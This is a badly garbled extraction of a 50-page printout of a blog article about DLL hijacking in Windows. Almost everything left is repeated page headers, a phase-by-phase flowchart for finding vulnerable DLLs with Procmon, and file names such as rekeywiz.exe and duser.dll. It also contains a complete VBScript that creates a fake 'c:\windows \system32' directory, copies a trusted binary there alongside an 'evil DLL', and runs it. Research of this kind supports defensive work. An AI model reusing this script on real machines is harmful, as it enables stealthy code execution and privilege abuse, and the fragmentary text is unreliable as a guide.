%PATH% .exe.manifest .exe.local  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
1 of 50 23-02-2021, 05:58 pm  
rekeywiz.exe duser.dll  
\system32\  
c:\windows\system32\  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
2 of 50 23-02-2021, 05:58 pm  
c:\users\wietze\downloads\  
Def ine target  
executables  
Generate Procmon  
config files for target  
EXEs  
Execute target EXEs,  
monitor w ith Procmon  
Analyse result logs,  
identify potentially  
vulnerable DLLs  
Compile custom version  
of identif ied DLLs  
Execute target EXEs  
alongside custom DLLs  
Analyse results,  
identify confirmed  
vulnerable DLLs  
Phase 1  
Phase 2  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
3 of 50 23-02-2021, 05:58 pm  
c:\windows\system32  
▲  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
ᤰᤱ  
xwizard.exe  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
4 of 50 23-02-2021, 05:58 pm  
c:\windows\system32  
c:\windows \system32\  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
5 of 50 23-02-2021, 05:58 pm  
Set oFSO = CreateObject("Scripting.FileSystemObject")  
Set wshshell = wscript.createobject("WScript.Shell")  
' Get target binary and payload  
WScript.StdOut.Write("System32 binary: ")  
strBinary = WScript.StdIn.ReadLine()  
WScript.StdOut.Write("Path to your DLL: ")  
strDLL = WScript.StdIn.ReadLine()  
' Create folders  
Const target = "c:\windows \"  
target\_sys32 = (target & "system32\")  
target\_binary = (target\_sys32 & strBinary)  
If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If  
If Not oFSO.FolderExists(target\_sys32) Then oFSO.CreateFolder target\_sys32 End If  
' Copy legit binary and evil DLL  
oFSO.CopyFile ("c:\windows\system32\" & strBinary), target\_binary  
oFSO.CopyFile strDLL, target\_sys32  
' Run, Forrest, Run!  
wshshell.Run("""" & target\_binary & """")  
' Clean files  
WScript.StdOut.Write("Clean up? (press enter to continue)")  
WScript.StdIn.ReadLine()  
wshshell.Run("powershell /c ""rm -r """"\\?\" & target & """""""") 'Deletion using VBScri  
pt is problematic, use PowerShell instead  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
6 of 50 23-02-2021, 05:58 pm  
\system32\  
%appdata%  
/windows /  
｜ ｜  
←  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
7 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
8 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
9 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
10 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
11 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
12 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
13 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
14 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
15 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
16 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
17 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
18 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
19 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
20 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
21 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
22 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
23 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
24 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
25 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
26 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
27 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
28 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
29 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
30 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
31 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
32 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
33 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
34 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
35 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
36 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
37 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
38 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
39 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
40 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
41 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
42 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
43 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
44 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
45 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
46 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
47 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
48 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
49 of 50 23-02-2021, 05:58 pm  
Hijacking DLLs in Windows https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows  
50 of 50 23-02-2021, 05:58 pm